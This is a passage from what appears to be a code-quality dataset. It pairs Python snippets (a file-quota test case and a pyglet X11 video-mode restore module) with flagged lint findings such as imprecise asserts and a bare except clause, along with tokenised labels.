500)\n except AssertionError as exc:\n self.assertTrue('Upload exceeded' in exc.args[0])\n # Shrink the quota to smaller than all of our files. Replacing an\n # existing file should still work, though\n self._setPolicy({'fileSizeQuota': 2048}, model, resource, user)\n self._uploadFile('Second upload', file, 'file', size=1536)\n # Now test again using default quotas. We have 1024+1536+768 = 3328\n # bytes currently uploaded\n self._setPolicy({'useQuotaDefault': True}, model, resource, user)\n # Upload should now be unlimited, so anything will work\n self._uploadFile('Fourth upload', folder, size=1792)\n # Set a policy limiting things to 8 kb, then an additional 4 kb file\n # should fail\n self._setQuotaDefault(model, 8192)\n self._uploadFile('File too large', folder, size=4096,\n error='Upload would exceed file storage quota')\n # But a 2 kb file will succeed\n file = self._uploadFile('Fifth upload', folder, size=2048)\n # And a second 2 kb file will fail\n self._uploadFile('File too large', folder, size=2048,\n error='Upload would exceed file storage quota')\n # Set a policy with a large quota to test using NumberLong in the\n # mongo settings.\n self._setQuotaDefault(model, 5*1024**3)\n # A small file should now upload\n file = self._uploadFile('Six upload', folder, size=2048)\n # But a huge one will fail\n self._uploadFile('File too large', folder, size=6*1024**3,\n error='Upload would exceed file storage quota')", "metadata": "root.QuotaTestCase._testQuota", "header": "['class', 'QuotaTestCase', '(', 'base', '.', 'TestCase', ')', ':', '___EOS___']", "index": 245 } ]
[ { "span": "self.assertTrue(error in resp.json['message'])", "start_line": 149, "start_column": 12, "end_line": 149, "end_column": 58 }, { "span": "self.assertTrue('Upload exceeded' in exc.args[0])", "start_line": 283, "start_column": 12, "end_line": 283, "end_column": 61 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Quota", "Test", "Case_", "(_", "base_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set", "Policy_", "(_", "self_", ",_", "policy_", ",_", "model_", ",_", "resource_", ",_", "user_", ",_", "error_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "the", " ", "quot", "a", " ", "or", " ", "asset", "store", " ", "policy", " ", "and", " ", "check", " ", "tha", "t", " ", "it", " ", "was", " ", "set", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "policy", ":", " ", "dictionar", "y", " ", "of", " ", "values", " ", "to", " ", "set", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "model", ":", " ", "eit", "her", " ", "'", "user", "'", " ", "or", " ", "'", "collection", "'.", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "resource", ":", " ", "the", " ", "document", " ", "for", " ", "the", " ", "resource", " ", "to", " ", "test", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "user", ":", " ", "user", " ", "to", " ", "use", " ", "for", " ", "authoriz", "ation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "error", ":", " ", "if", " ", "set", ",", " ", "this", " ", "is", " ", "a", " ", "substring", " ", "expected", " ", "in", " ", "an", " ", "error", " ", "message", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "results", ":", " ", "if", " ", "not", " ", "specified", ",", " ", "we", " ", "expect", " ", "policy", " ", "to", " ", "match", " ", "the", " ", "set", "\\", "10", ";", " ", " ", "results", ".", " ", " ", "Ot", "her", "wis", "e", ",", " ", "these", " ", "are", " ", "the", " ", "expected", " ", "results", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "policy_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "policy", "JSON_", "=_", "json_", "._", "dumps_", "(_", "policy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "policy", "JSON_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "'/", "%", "s", "/", "%", "s", "/", "quot", "a", "'_", "%_", "(_", "model_", ",_", "resource_", "[_", "'\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "request_", "(_", "path_", "=_", "path_", ",_", "method_", "=_", "'", "PU", "T", "'_", ",_", "user_", "=_", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "{_", "'", "policy", "'_", ":_", "policy", "JSON_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Status_", "(_", "resp_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "error_", "in_", "resp_", "._", "json_", "[_", "'", "message", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Status", "Ok_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "request_", "(_", "path_", "=_", "path_", ",_", "method_", "=_", "'", "GET", "'_", ",_", "user_", "=_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status", "Ok_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "current", "Policy_", "=_", "resp_", "._", "json_", "[_", "'", "quot", "a", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "results_", "[_", "key_", "]_", "or_", "results_", "[_", "key_", "]_", "is_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "current", "Policy_", "[_", "key_", "]_", ",_", "results_", "[_", "key_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "current", "Policy_", "[_", "key_", "]_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quota", "Test", "Case_", "(_", "base_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Quota", "_", "(_", "self_", ",_", "model_", ",_", "resource_", ",_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "quot", "a", " ", "poli", "cies", " ", "for", " ", "a", " ", "specified", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "model", ":", " ", "eit", "her", " ", "'", "user", "'", " ", "or", " ", "'", "collection", "'.", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "resource", ":", " ", "the", " ", "document", " ", "for", " ", "the", " ", "resource", " ", "to", " ", "test", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "user", ":", " ", "user", " ", "to", " ", "use", " ", "for", " ", "authoriz", "ation", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "model_", "(_", "'", "setti", "ng", "'_", ")_", "._", "set_", "(_", "Sett", "ing", "Key_", "._", "UPLOAD", "\\u", "MINIM", "UM", "\\u", "CHUNK", "\\u", "SIZE_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "request_", "(_", "path_", "=_", "'/", "folder", "'_", ",_", "method_", "=_", "'", "GET", "'_", ",_", "user_", "=_", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "{_", "'", "parent", "Type", "'_", ":_", "model_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "parent", "Id", "'_", ":_", "resource_", "[_", "'\\u", "id", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status", "Ok_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Great", "er", "Equal_", "(_", "len_", "(_", "resp_", "._", "json_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder_", "=_", "resp_", "._", "json_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Start", " ", "by", " ", "upload", "ing", " ", "one", " ", "file", " ", "so", " ", "tha", "t", " ", "there", " ", "is", " ", "some", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Fi", "rst", " ", "upload", "'_", ",_", "folder_", ",_", "size_", "=_", "1024_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "a", " ", "policy", " ", "limit", "ing", " ", "thing", "s", " ", "to", " ", "4", " ", "kb", ",", " ", "then", " ", "a", " ", "4", " ", "kb", " ", "file", " ", "shou", "ld", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "set", "Policy_", "(_", "{_", "'", "file", "Size", "Quota", "'_", ":_", "4096_", ",_", "'", "use", "Quota", "Default", "'_", ":_", "False_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model_", ",_", "resource_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "File", " ", "too", " ", "large", "'_", ",_", "folder_", ",_", "size_", "=_", "4096_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "'", "Upload", " ", "wou", "ld", " ", "exceed", " ", "file", " ", "storage", " ", "quot", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bu", "t", " ", "a", " ", "2", " ", "kb", " ", "file", " ", "will", " ", "succeed_", "\\u\\u\\uNL\\u\\u\\u_", "file_", "=_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Second", " ", "upload", "'_", ",_", "folder_", ",_", "size_", "=_", "2048_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "And", " ", "a", " ", "second", " ", "2", " ", "kb", " ", "file", " ", "will", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "File", " ", "too", " ", "large", "'_", ",_", "folder_", ",_", "size_", "=_", "2048_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "'", "Upload", " ", "wou", "ld", " ", "exceed", " ", "file", " ", "storage", " ", "quot", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "start", " ", "upload", "ing", " ", "two", " ", "files", ",", " ", "only", " ", "one", " ", "shou", "ld", " ", "complete_", "\\u\\u\\uNL\\u\\u\\u_", "file", "1", "kwargs_", "=_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Fi", "rst", " ", "partial", "'_", ",_", "folder_", ",_", "size_", "=_", "768_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "partial_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "2", "kwargs_", "=_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Second", " ", "partial", "'_", ",_", "folder_", ",_", "size_", "=_", "768_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "partial_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "multip", "art", "Request_", "(_", "**_", "file", "1", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status", "Ok_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resp_", "=_", "self_", "._", "multip", "art", "Request_", "(_", "**_", "file", "2", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status_", "(_", "resp_", ",_", "500_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Assert", "ion", "Error_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "Upload", " ", "exceed", "ed", "'_", "in_", "exc_", "._", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sh", "rin", "k", " ", "the", " ", "quot", "a", " ", "to", " ", "small", "er", " ", "than", " ", "all", " ", "of", " ", "our", " ", "files", ".", " ", " ", "Repl", "acing", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exist", "ing", " ", "file", " ", "shou", "ld", " ", "still", " ", "work", ",", " ", "tho", "ugh", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "set", "Policy_", "(_", "{_", "'", "file", "Size", "Quota", "'_", ":_", "2048_", "}_", ",_", "model_", ",_", "resource_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Second", " ", "upload", "'_", ",_", "file_", ",_", "'", "file", "'_", ",_", "size_", "=_", "153", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", "w", " ", "test", " ", "again", " ", "usi", "ng", " ", "default", " ", "quotas", ".", " ", " ", "We", " ", "have", " ", "1024", "+", "153", "6", "+", "768", " ", "=", " ", "332", "8_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bytes", " ", "currentl", "y", " ", "uploade", "d_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "set", "Policy_", "(_", "{_", "'", "use", "Quota", "Default", "'_", ":_", "True_", "}_", ",_", "model_", ",_", "resource_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Upload", " ", "shou", "ld", " ", "now", " ", "be", " ", "unlimited", ",", " ", "so", " ", "anyt", "hing", " ", "will", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Four", "th", " ", "upload", "'_", ",_", "folder_", ",_", "size_", "=_", "179", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "a", " ", "policy", " ", "limit", "ing", " ", "thing", "s", " ", "to", " ", "8", " ", "kb", ",", " ", "then", " ", "an", " ", "addition", "al", " ", "4", " ", "kb", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shou", "ld", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "set", "Quota", "Default_", "(_", "model_", ",_", "8192_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "File", " ", "too", " ", "large", "'_", ",_", "folder_", ",_", "size_", "=_", "4096_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "'", "Upload", " ", "wou", "ld", " ", "exceed", " ", "file", " ", "storage", " ", "quot", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bu", "t", " ", "a", " ", "2", " ", "kb", " ", "file", " ", "will", " ", "succeed_", "\\u\\u\\uNL\\u\\u\\u_", "file_", "=_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Fifth", " ", "upload", "'_", ",_", "folder_", ",_", "size_", "=_", "2048_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "And", " ", "a", " ", "second", " ", "2", " ", "kb", " ", "file", " ", "will", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "File", " ", "too", " ", "large", "'_", ",_", "folder_", ",_", "size_", "=_", "2048_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "'", "Upload", " ", "wou", "ld", " ", "exceed", " ", "file", " ", "storage", " ", "quot", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "a", " ", "policy", " ", "with", " ", "a", " ", "large", " ", "quot", "a", " ", "to", " ", "test", " ", "usi", "ng", " ", "Number", "Long", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "mongo", " ", "settings", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "set", "Quota", "Default_", "(_", "model_", ",_", "5_", "*_", "1024_", "**_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A", " ", "small", " ", "file", " ", "shou", "ld", " ", "now", " ", "upload_", "\\u\\u\\uNL\\u\\u\\u_", "file_", "=_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "Six", " ", "upload", "'_", ",_", "folder_", ",_", "size_", "=_", "2048_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bu", "t", " ", "a", " ", "huge", " ", "one", " ", "will", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "upload", "File_", "(_", "'", "File", " ", "too", " ", "large", "'_", ",_", "folder_", ",_", "size_", "=_", "6_", "*_", "1024_", "**_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "'", "Upload", " ", "wou", "ld", " ", "exceed", " ", "file", " ", "storage", " ", "quot", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
ardekantur/pyglet/pyglet/canvas/xlib_vidmoderestore.py
[ { "content": "#!/usr/bin/python\n# $Id: $\n\n'''Fork a child process and inform it of mode changes to each screen. The\nchild waits until the parent process dies, and then connects to each X server \nwith a mode change and restores the mode.\n\nThis emulates the behaviour of Windows and Mac, so that resolution changes\nmade by an application are not permanent after the program exits, even if\nthe process is terminated uncleanly.\n\nThe child process is communicated to via a pipe, and watches for parent\ndeath with a Linux extension signal handler.\n'''\n\nimport ctypes\nimport os\nimport signal\nimport struct\nimport threading\n\nfrom pyglet.libs.x11 import xlib\nfrom pyglet.compat import asbytes\ntry:\n from pyglet.libs.x11 import xf86vmode\nexcept:\n # No xf86vmode... should not be switching modes.\n pass\n\n_restore_mode_child_installed = False\n_restorable_screens = set()\n_mode_write_pipe = None\n\n# Mode packets tell the child process how to restore a given display and\n# screen. Only one packet should be sent per display/screen (more would\n# indicate redundancy or incorrect restoration). Packet format is:\n# display (max 256 chars), \n# screen\n# width\n# height\n# rate\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "Id", ":", " ", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "For", "k", " ", "a", " ", "child", " ", "process", " ", "and", " ", "inform", " ", "it", " ", "of", " ", "mode", " ", "change", "s", " ", "to", " ", "each", " ", "screen", ".", " ", " ", "The", "\\", "10", ";", "child", " ", "waits", " ", "unti", "l", " ", "the", " ", "parent", " ", "process", " ", "die", "s", ",", " ", "and", " ", "then", " ", "connects", " ", "to", " ", "each", " ", "X", " ", "server", " ", "\\", "10", ";", "with", " ", "a", " ", "mode", " ", "change", " ", "and", " ", "restore", "s", " ", "the", " ", "mode", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "emulate", "s", " ", "the", " ", "behaviour", " ", "of", " ", "Window", "s", " ", "and", " ", "Mac", ",", " ", "so", " ", "tha", "t", " ", "resolu", "tion", " ", "change", "s", "\\", "10", ";", "made", " ", "by", " ", "an", " ", "applica", "tion", " ", "are", " ", "not", " ", "permanent", " ", "after", " ", "the", " ", "program", " ", "exits", ",", " ", "even", " ", "if", "\\", "10", ";", "the", " ", "process", " ", "is", " ", "terminate", "d", " ", "uncl", "ean", "ly", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "child", " ", "process", " ", "is", " ", "communi", "cated", " ", "to", " ", "via", " ", "a", " ", "pipe", ",", " ", "and", " ", "watch", "es", " ", "for", " ", "parent", "\\", "10", ";", "death", " ", "with", " ", "a", " ", "Lin", "ux", " ", "extensi", "on", " ", "signal", " ", "handler", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "ctypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyglet_", "._", "libs_", "._", "x1", "1_", "import_", "xli", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "._", "compat_", "import_", "as", "bytes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "pyglet_", "._", "libs_", "._", "x1", "1_", "import_", "xf", "86", "vmo", "de_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "xf", "86", "vmo", "de", "...", " ", "shou", "ld", " ", "not", " ", "be", " ", "switching", " ", "mode", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "restore", "\\u", "mode", "\\u", "child", "\\u", "installed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "resto", "rab", "le", "\\u", "screens", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "mode", "\\u", "write", "\\u", "pipe_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mode", " ", "packet", "s", " ", "tell", " ", "the", " ", "child", " ", "process", " ", "how", " ", "to", " ", "restore", " ", "a", " ", "give", "n", " ", "display", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "screen", ".", " ", " ", "On", "ly", " ", "one", " ", "packet", " ", "shou", "ld", " ", "be", " ", "sent", " ", "per", " ", "display", "/", "screen", " ", "(", "more", " ", "wou", "ld_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "indicat", "e", " ", "redu", "ndancy", " ", "or", " ", "incorrect", " ", "resto", "ration", ").", " ", " ", "Packe", "t", " ", "format", " ", "is", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "display", " ", "(", "max", " ", "256", " ", "char", "s", "),", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "screen_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "width_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "height_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "rate_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ucb-sts/sts/tests/__init__.py
